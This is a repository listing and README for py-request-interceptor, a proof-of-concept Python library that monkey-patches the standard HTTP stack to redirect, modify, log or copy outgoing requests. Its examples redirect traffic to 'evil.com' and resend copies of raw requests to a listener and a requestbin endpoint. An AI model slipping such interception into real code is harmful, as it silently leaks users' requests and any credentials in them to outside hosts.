https://github.com/manmolecular/py-request-interceptor
:rat: Intercepts your HTTP(S) requests from Python standard library. Allows to redirect, sniff, and modify requests transparently.
https://github.com/manmolecular/py-request-interceptor
dirty-patching http-client monkey-patching patch python
Last synced: 10 months ago
JSON representation
:rat: Intercepts your HTTP(S) requests from Python standard library. Allows to redirect, sniff, and modify requests transparently.
- Host: GitHub
- URL: https://github.com/manmolecular/py-request-interceptor
- Owner: manmolecular
- License: gpl-3.0
- Created: 2020-07-02T13:18:13.000Z (over 5 years ago)
- Default Branch: master
- Last Pushed: 2021-07-21T18:11:09.000Z (over 4 years ago)
- Last Synced: 2025-04-14T11:17:50.277Z (10 months ago)
- Topics: dirty-patching, http-client, monkey-patching, patch, python
- Language: Python
- Homepage:
- Size: 20.5 KB
- Stars: 13
- Watchers: 1
- Forks: 4
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
# py-request-interceptor
[](https://www.python.org/downloads/)
[](/LICENSE)
[](https://github.com/psf/black)
## Description
:rat: Intercepts your HTTP(S) requests from Python standard libraries. Allows you to catch API calls and HTTP(S) requests from different `requests`/`urllib`/`http`-based libraries (and many others based on the original `http.client`/`socket` stack).
## Warning
:construction: **Note:** This is just a WIP/PoC project w/o rocket science in it - just a bunch of dirty monkey patches. So, enjoy it "as is" if you are interested in it. Not properly tested lol.
## Proof of Concept
```python3
#!/usr/bin/env python3
from src.interceptor import Interceptor
from requests import get
# Initialize 'Interceptor' here, nothing special
intercept = Interceptor()
@intercept.sniff(listener="http://YOUR_LISTENER_ENDPOINT")
@intercept.dump()
@intercept.data(data="GET / HTTP/1.1\r\n ...modified request goes here")
def example_sniff_connect() -> CaseInsensitiveDict:
"""
Patch request data, dump modified request to the logs, and re-send copy of the request
to another endpoint
:return: response headers
"""
return get(url="http://ORIGINAL_HOST").headers
if __name__ == "__main__":
example_sniff_connect()
```
## Handlers
### Redirect to another target
Definition:
```python3
def target(self, host: str, port: int) -> callable:
```
Example:
```python3
intercept = Interceptor()
@intercept.target(host="http://evil.com", port=80)
def my_func():
...
```
### Replace raw requests data
Definition:
```python3
def data(self, data: Union[str, bytes]) -> callable:
```
Example:
```python3
intercept = Interceptor()
@intercept.data(data="GET / HTTP/1.1\r\n...")
def my_func():
...
```
### Log raw requests to the console
Definition:
```python3
def dump(self) -> callable:
```
Example:
```python3
intercept = Interceptor()
@intercept.dump()
def my_func():
...
```
### Re-send copy of the original raw requests to another endpoint
Definition:
```python3
def sniff(self, listener: str) -> callable:
```
Example:
```python3
intercept = Interceptor()
@intercept.sniff(listener="http://requestbin.net/r/YOUR_REQUESTBIN_ID")
def my_func():
...
```